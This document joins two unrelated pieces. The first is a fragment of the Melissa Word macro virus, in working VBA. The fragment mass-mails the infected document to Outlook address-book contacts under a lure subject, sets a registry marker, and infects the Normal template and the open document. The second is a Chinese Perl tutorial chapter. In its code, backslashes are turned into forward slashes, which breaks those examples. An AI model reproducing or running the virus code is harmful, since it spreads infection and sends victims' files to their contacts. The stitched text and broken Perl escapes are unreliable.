If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER/Software/Microsoft/Office/", "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name < > "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name < > "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT < > True And DoAD < > True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) < > ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) < > ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL < > 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") < > False) Then
ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 < --> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

第十四章 Perl语言简介
什么是Perl?
Perl是一个能用来完成大量不同任务的编程语言。可以用来解开一个文件并打印一份报告,或者将一个文本文件转换成另一种格式。Perl为相当复杂的问题提供了一系列的工具,包括系统编程。

用Perl写的程序叫脚本(Perl scripts),而perl程序(perl program)通常是指名字叫做perl的程序,它是用来执行脚本的。

Perl是解释型(不是编译型)语言。这样,运行一个脚本,和运行一个相应的C程序来讲,要花费相当多的CPU时间。但是,现在的计算机速度越来越快,写一个C程序花的时间比写一个Perl脚本多,从而总的来讲,反而节省了你的时间。

Hello world!
我们还是来写一个Hello world脚本。通过它来介绍Perl脚本的编写和运行的一些最基本的东西。

现在开始:

[Jobs /]cat >hello
#!/usr/bin/perl
print "Hello world!/n";
[Jobs /]chmod a+x hello
[Jobs /]./hello
Hello world!
[Jobs /]

注解:

1. 用cat命令创建一个叫hello的文件,它包含一个很简单的Perl脚本。通常可以用别的编辑器来创建脚本。
2. 第一行脚本是, #!/usr/bin/perl。它表示脚本是由perl程序来运行的。它是一个必须的前缀。/usr/bin/perl部分是perl程序的路径名。不同的安装,路径名是不同的。
3. 随后是相应的Perl脚本,这里仅有一行。这一行是很好理解的,其中/n代表newline(换行)。在Perl的字符串,控制字符通常使用这种与C语言类似的表达法,/后跟一个字符。
4. 程序写完之后,用chmod命令让这个包含脚本的程序可以执行。在Linux里,文件创建是通常是不可执行的,必须明确的改变文件的属性。在这个命令中all用户能execute(执行)这个文件。
5. 最后,键入脚本文件名就能运行这个脚本了。 ./表示是在Jobs目录下的那个文件。

注意,在Perl中,和C语言一样,一个语句是一个分号结尾的。

数据结构和变量
在Perl中一个变量的值可以是一个数字或字符串或其它别的东西。变量是没有类型的。你可以将一个字符串赋给一个变量,以后,你可以将一个数字赋给同一个变量。

变量在使用前不需要申明。

试图使用一个没有初始化的变量,你用的实际上是0或者一个空的字符串或真假值中的false(假),具体是哪个值,由上下文决定。在使用命令行开关时,表示要求Perl解释器能给出告警信息,比如,-w报告使用了没有定义的值。

Perl has three data structures:

Perl有三种数据结构:scalars,scalars数组,scalars联合数组,就是"hashes"。

Scalar变量名通常以$符号开始,如$myvar。

数组通常以@符号开始,如@myarray。

Hashes的名字通常以%开始,如%myhash。

另外,子程序的名字以&开始,通常这个&可以省略。

上面的符号可以和英语中的单词相对应:
$ 和 the,
@ 和 these or those,
% 和 these or those,
& 和 do。

名字是区分字母的大小写的。比如$foo和$Foo是两个不同的变量。

如果有个数组,如@myarr,你可以用方括号来索引它的某个成员。但此时@要变成$,如$myarr[5]。因为这个成员是一个scalar变量。

也可以组成一个数组,如@myvar[5..10],它是一个数组,是由@myvar组成的,它们的索引分别在5和10之间。

数组的索引是整数,从0开始,和C语言一样。

Hashes,能用字符串来索引它的成员,因此,索引方法不同。对于hashes,索引用大括号表示,如$myhash{'foobar'}。同样,被索引的成员是scalar,必须用$开始。

每种变量都有他们自己的名字空间。因此$foo和@foo是不同的变量名。同样$foo[1]是@foo的一部分,而不是$foo的一部分。另外,有两个预定义的变量,$_和@_。必须知道$_[2]是@_中的一个成员。

一个数组事实上是一个值的列表。在Perl中,可以用以下方法来生成一个列表,
(2, 3, 7, 42)

一个列表可以赋给一个数组变量,如
@foo = (2, 3, 7, 42);

列表在Perl中是很重要的,因为许多操作的结果是列表。

例子:显示的行带行号
下面的例子显示scalar变量的使用。同时也介绍了Perl的几个基本特征。

这个脚本打印出它的输入,但输出的每行有一个行号开始:

#!/usr/bin/perl
$line = 1;
while (< >) {
print $line, " ", $_;
$line = $line + 1; }

Scalar变量$line是行记数。在一开始,它被初始化为1,在每次处理一行的循环中它的值加上一个1。

循环结构的形式如下:
while (< >) {
处理一行输入 }

尽管看上去有点神秘,它确实非常便于使用。你不必关心真正的输入操作;就用上面的结构就可以了,用预定义的变量$_来引用输入行。

print语句包含三个参数,一个是打印行号,一个是打印一个空格,另一个是打印整个的输入行。没有打印换行,因为变量$_中已经包含了换行符了。

实际上,可以将代码写的更加简洁:

#!/usr/bin/perl
$line = 1;
while (< >) {
print $line++, " ", $_; }

这里,语句中包含了$line++ 而不仅仅是$line, 因为在Perl中,和C语言类似,你可以通过给变量加一个运算符来表示对一个变量加1操作。

如果希望行号是右对齐的,比如行号显示在固定的5个字符这样的区域内,左边的用空格来填充。这相当简单,只需用下面这条语句代替print语句:
printf "%5d %s", $line++, $_;

Perl脚本的输入
Perl脚本从那里得到输入值?默认的,即在输入没有任何参数的情况下,输入来自Linux中所谓的输入流。通常是用户的键盘。

通常希望脚本从文件中输入。简单的将文件名作为命令行参数,也就是,脚本文件的名字是命令的时候。这样,举个例子,如果你已经写好了这个简单的脚本,并命名为lines,你可以用下面的方法来测试:

[Jobs /]./lines lines
1 #!/usr/bin/perl
2 $line = 1;
3 while (< >) {
4 print $line++, " ", $_; }
[Jobs /]

你可能写了几个文件名字作为命令行参数,比如:
lines foo bar zap

这意味着脚本lines将文件foo, bar, 和 zap 作为一个已经合并的单个文件来处理。

例子:拆分输入行
在Perl中,你可以不用详细地写代码就能将数据分成几个域。只需指定你想做什么。

比如,语句:
split;

首先将当前输入行分解成有空格分隔的域,然后将这些域分别赋值给预定义数组@_。随后,就可以使用索引来存取这些域。变量$#_ 包含域的数目:它的值是域的数目减1。

假设,举个例子,有一些数据,每行包括几个由空格分隔的项,如果写一个Perl脚本,将每行的第二项挑选出来。可以写下面这样的一个脚本来实现。

#!/usr/bin/perl
while (< >) {
split;
print $_[1], "/n"; }

要注意的是由于在Perl中索引值从0开始,因此用一个值为1的索引是引用第二个域。

控制结构
Perl有丰富的控制结构。理论上,通常也很实际,可以用if语句来实现分支结构,while语句来实现循环结构。

在控制结构中,实现有条件执行的动作,或循环执行的动作做为blocks。一个块是一个有大括号围起来的一系列语句。注意,括号是必须的,这和C语言略有不同。

最简单的if语句的格式是:
if(expression)block

它表示,先计算表达式的值,如果表达式的结果为真的话,就执行块语句。

比如,语句if($i < 10) {$j = 100;} ,如果$i的值小于10的话,$j的值就设为100。

一个有两个分支的语句的格式如下:
if(expression)block1 else block2

首先计算表达式的值,如果为真,执行block1,否则执行block2 。

while语句的格式如下:
while(expression)block

先计算表达式的值,如果为真,执行块里面的语句,然后,再计算表达式的值,直到表达式的值为假,否则,还要执行块里的语句。

下面的脚本是一个使用while语句的简单例子,它将输入行进行分解,按相反的方向把各个域打印出来。

#!/usr/bin/perl
while (< >) {
split;
$i = $#_;
while($i >= 0) {
print $_[$i--], " "; }
print "/n";
}

在内部的while循环,控制是建立在使用一个辅助的变量$i上的。它的值初始化成对最后一个域的引用,并且不断递减,直到为0,此时,所有的域都处理完毕。运算符>=的意思是大于或等于。

字符串处理
Perl有强大的字符串处理工具。比如,通常希望将输入数据转换成小写,很简单:
tr /A-Z/a-z/;

这可以理解成:将范围是A到Z的所有字符转换(translate)成范围是a到z的字符。

这个操作是在变量$_上,也就是当前输入行上进行的。如果你想将它用到变量$foo上,你必须这样写:
$foo =~ tr /A-Z/a-z/;

有可能这样的表达式很怪,但一旦熟悉之后,Perl的字符串工具很容易使用。

例子:文件重命名
Linux用户需要将以后缀,比如.for结尾的文件的名字都重新命名成另一个后缀,比如.f。通常没有直接的命令来完成这一个任务。如果你想要用mv *.for *.f ,通常这样并不能解决问题。

但可以用Perl来写一个简单的脚本来实现:

#!/usr/bin/perl
while(< *.for>) {
$oldname = $_;
s//.for$//.f/;
rename $oldname, $_;
}

while语句表示它只对*.for的名字进行处理。首先将找到的要处理的文件名,把匹配的文件名赋给$_变量。

在循环体内,首先将$_变量所指的文件名保存到变量$oldname 里。随后,对它进行替换。

最后,用替换好的名字来重命名文件。rename是Perl的一个内建函数,他有两个参数。我们可以用另一条语句来代替它:
system "mv $oldname $_";

它是通过调用操作系统命令来实现的。

另外,需要注意的是语句s//.for$//.f/;中的两个/。如果该语句中没有/,则成为:
s/.for$/.f/;

这个语句就不对了。如果遇到zapfor.for ,就会产生如下替换:za.f.for。因为符号.代表任意字符。所以.for的意思是只要在字符串中包含for,就做替换。因此会产生上述结果。为了表示.,就必须用到换码序列,用/.来表示符号.。这与C语言中的概念类似。

小结
Perl语言的语法和C语言有些相同之处,比如控制结构,语句的;结尾,换码序列等等。但它们也有明显差别。C语言是编译型的,C程序的运行效率高。Perl语言是解释型的,脚本的运行效率比较低。但是Perl语言的综合性较高,编写一些功能较复杂的程序所化的时间比较短。另外,Perl的变量是没有数据类型。

参考资料
1、MU Campus Computing的Introduction to Perl or, Learn Perl in Two Hours 。

在本站下载这一文件:Introduction to Perl or, Learn Perl in Two Hours

2、The Perl Language Home Page 包括一些有关Perl的有用的信息,如Perl FAQ。

3、在Windows 95和NT上使用Perl语言。

你可能感兴趣的:(linux,服务器,string,socket,网络,windows)